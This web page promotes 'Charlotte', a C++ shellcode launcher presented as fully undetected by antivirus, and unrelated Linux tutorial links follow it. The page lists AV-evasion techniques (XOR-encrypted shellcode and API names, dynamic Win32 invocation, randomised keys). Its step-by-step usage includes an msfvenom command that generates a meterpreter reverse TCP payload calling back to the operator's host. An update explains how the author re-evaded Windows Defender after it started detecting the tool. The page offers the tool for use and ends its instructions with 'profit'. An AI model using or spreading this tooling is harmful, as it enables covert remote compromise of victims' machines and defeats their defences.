Charlotte : C++ Fully Undetected Shellcode Launcher

Charlotte is an c++ fully undetected shellcode launcher .

Description

  • 13/05/2021:
    • c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021.
    • dynamic invoking of win32 api functions
    • XOR encryption of shellcode and function names
    • randomised XOR keys and variables per run
    • on Kali Linux, simply ‘apt-get install mingw-w64*’ and thats it!
  • 17/05/2021:
    • random strings length and XOR keys length

Antiscan.me

Usage

git clone the repository, generate your shellcode file with the naming beacon.bin, and run charlotte.py

Example:

git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
cd charlotte
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
python charlotte.py
profit

tested with msfvenom -p (shown in the .gif POC below) and also cobalt strike raw format payload

Update v1.1

17/05/21:

Apparently Microsoft Windows Defender was able to detect the .DLL binary, and how did they flag it? by looking for several XOR keys of 16 byte size changing it to 9 shown in the POC .gif below shows it is now undetected again cheers.

R K

Recent Posts

xargs Command in Linux: Build and Execute Commands from Input

The xargs command in Linux reads items from standard input and passes them as arguments to another…

1 day ago

locate Command in Linux: Find Files Fast with a Database Search

The locate command in Linux searches for files and directories by name. It queries a pre-built database…

1 day ago

Listing Linux Services with systemctl: A Complete Guide

Most modern Linux distributions use systemd as the default service manager. Knowing how to list…

1 day ago

How to Truncate Files in Linux: Empty Files Without Deleting

Truncating a file in Linux means removing its contents while leaving the file itself in…

1 day ago

ss Command in Linux: Display Socket Statistics and Connections

The ss command in Linux lists open sockets and active network connections. It replaced the deprecated netstat command and…

2 days ago

ftp Command in Linux: Connect to Servers and Transfer Files

The ftp command in Linux connects to a remote FTP server and transfers files. FTP transmits everything…

2 days ago